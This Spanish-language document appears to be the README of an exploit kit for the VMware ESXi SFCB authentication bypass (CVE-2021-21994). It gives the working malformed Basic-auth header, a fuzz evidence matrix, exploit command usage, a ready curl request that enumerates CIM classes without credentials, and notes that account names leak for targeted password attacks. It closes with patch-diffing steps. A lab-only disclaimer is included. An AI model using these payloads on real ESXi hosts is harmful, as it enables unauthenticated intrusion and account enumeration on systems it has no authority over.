
Valida y explota la omisión de autenticación SFCB de VMware ESXi (CVE-2021-21994) mediante un harness de sonda/fuzzing, lo que permite la enumeración CIM-XML no autenticada.
| Campo | Valor |
|---|
| Tipo | CWE-287 Autenticación incorrecta (bypass de autenticación) |
| Componente | SFCB (Small Footprint CIM Broker) dentro de VMware ESXi |
| Vector de ataque | Red, TCP 5989 (CIM-XML sobre HTTPS), "solicitud especialmente manipulada" |
| Afectados | ESXi 6.5 / 6.7 / 7.0 anteriores a VMSA-2021-0014 (julio de 2021) |
| Corrección | Builds parcheadas de VMSA-2021-0014 |
| PoC público | Ninguno. VMware nunca reveló la forma de la solicitud |
Referencias: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Debido a que no existe ningún PoC, este kit es una herramienta de búsqueda autoguiada: sfcb_probe.py
valida un oráculo (check) y luego lanza un diccionario de mutaciones dirigidas contra
/cimom (fuzz) y marca cualquier 200-con-cuerpo-CIM obtenido sin credenciales
válidas.
Úsalo solo contra tu propia VM de laboratorio o contra objetivos explícitamente dentro de un alcance de compromiso autorizado.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
El bypass fue encontrado. Causa raíz: sfcbd falla en OPEN cuando el token de autenticación Basic no se decodifica en un par user:password que contenga :.
Cabecera PoC mínima (base64 de root, sin dos puntos):
Authorization: Basic cm9vdA==
Matriz de evidencia de la ejecución de fuzz:
| Forma de la solicitud | Estado | Significado |
|---|---|---|
sin cabecera / user:pass b64 válido / : / root: | 401 | hay dos puntos → la autenticación se ejecuta → rechazado |
b64("root") (sin dos puntos) | 200 + cuerpo CIM | sin dos puntos → autenticación omitida |
b64("\0:\0") (cadena C vacía) | 200 | igual: sin dos puntos |
base64 inválido (espacio / BOM / prefijo Basic) | 200 | fallo de decodificación → autenticación omitida |
Basic\tTOKEN (separador de tabulación) | 401 | la división por cualquier WSP se analiza correctamente → la autenticación se ejecuta |
Basic␣␣TOKEN (doble espacio) | 200 | la división por espacio único → el token comienza con espacio → falla la decodificación |
Una respuesta 200 transporta un sobre CIM-XML despachado dentro del CIMOM (p. ej. ERROR CODE="5" Class not found), lo que demuestra que se superó la capa de autenticación HTTP — la misma solicitud sin la cabecera malformada devuelve 401.
Uso del exploit:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
curl en una línea para capturas del informe:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Impacto: acceso de lectura no autenticado al broker CIM:
VMware_Identity filtran todas las cuentas locales de ESXi (observado en el laboratorio 6.5: root, dcui, vpxuser — host gestionado por vCenter — además de usuarios personalizados), lo que permite ataques de contraseña dirigidos.VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) declaran métodos de perfil DMTF (AssignRoles, AssignAccess, ...) pero no exponen ninguna instancia — los métodos son solo de esquema. La creación/modificación de cuentas vía CIM no es posible con este CVE; el techo de impacto es la divulgación de información no autenticada.Veredictos:
BYPASS-STRONG — HTTP 200 + cuerpo CIM-XML sin credenciales válidas → has encontrado el bypass; la solicitud volcada es tu primitiva de exploit.bypass-weak(200-no-cim-body) — 200 pero sin cuerpo CIM; inspecciona el volcado.blocked / info(400) — rechazado. Nota: un 400 normalmente significa que la solicitud murió antes de que se evaluara la autenticación — sigue siendo interesante, pero no es un bypass.Nota sobre cuerpos CIM hechos a mano: según DSP0200, EnumerateInstanceNames requiere el IPARAMVALUE ClassName. Un cuerpo sin él puede ser rechazado por razones no relacionadas con la autenticación y envenenar el oráculo — el harness siempre envía el cuerpo correcto según la especificación.
El fuzzer cubre las formas clásicas de confusión del analizador de autenticación HTTP. Si ninguna acierta, la vía restante (y definitiva) es el diffing binario:
esx-base de una build vulnerable (p. ej. clase 6.5.0 GA) y una build 6.5/6.7/7.0 parcheada con VMSA-2021-0014 desde el índice público del depósito de VMware:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar → payload vib → cpio), compara los binarios sfcbd* con Ghidra + BinDiff.sfcb en SourceForge) es una referencia estructural útil para la ruta de código HTTP+auth, aunque el fork de ESXi está modificado.